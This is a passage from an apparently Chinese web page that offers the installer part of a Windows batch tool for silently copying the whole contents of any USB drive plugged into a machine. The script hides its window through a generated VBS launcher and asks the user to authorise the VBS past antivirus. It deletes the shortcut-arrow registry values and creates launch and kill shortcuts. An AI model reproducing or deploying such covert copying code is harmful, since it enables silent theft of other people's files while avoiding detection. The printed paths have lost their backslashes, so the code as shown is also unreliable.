判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制

2019-09-19 07:02:34王冬梅

if /i %choice%==2 goto open
if /i %choice%==3 goto close
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto shutcut
if /i %choice%==6 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================安装程序=============================
if exist %temp%copy.cmd del /Q /f "%temp%copy.cmd"
copy copy.cmd "%temp%copy.cmd" >nul 2>nul
copy sleep.exe "%temp%sleep.exe" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%hide.vbs del /Q %temp%hide.vbs
echo.
echo 如果你计算机安装有杀毒软件,请授权此VBS代码
reg delete "HKEY_CLASSES_ROOTlnkfile" /v IsShortcut /f >nul 2>nul
reg delete "HKEY_CLASSES_ROOTpiffile" /v IsShortcut /f >nul 2>nul
set path=%temp%copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >"%temp%hide.vbs"
echo ws.Run "%path%",0 >>%temp%hide.vbs
rem ==============================建立终止=============================
echo @echo off >%temp%kill.cmd
echo mode con: cols=20 lines=2 >>%temp%kill.cmd
echo echo                    程序已经成功终止!>>%temp%kill.cmd
echo pause ^>nul 2^>nul >>%temp%kill.cmd
echo tskill ping ^>nul 2^>nul >>%temp%kill.cmd
echo tskill xcopy ^>nul 2^>nul >>%temp%kill.cmd
echo tskill sleep ^>nul 2^>nul >>%temp%kill.cmd
echo tskill cmd ^>nul 2^>nul >>%temp%kill.cmd
echo exit ^>nul 2^>nul >>%temp%kill.cmd
rem ==============================建立快捷=============================
:shutcut
echo.
if not exist "%temp%hide.vbs" goto start
set path2=%temp%hide.vbs
echo [InternetShortcut] >>U盘自动复制.url
echo URL="%path2%" >>U盘自动复制.url
echo IconIndex=29 >>U盘自动复制.url
echo IconFile=C:windowssystem32shell32.dll >>U盘自动复制.url
set path3=%temp%kill.cmd
echo [InternetShortcut] >>终止U盘自动复制.url
echo URL="%path3%" >>终止U盘自动复制.url
echo IconIndex=29 >>终止U盘自动复制.url
echo IconFile=C:windowssystem32shell32.dll >>终止U盘自动复制.url
相关文章 大家在看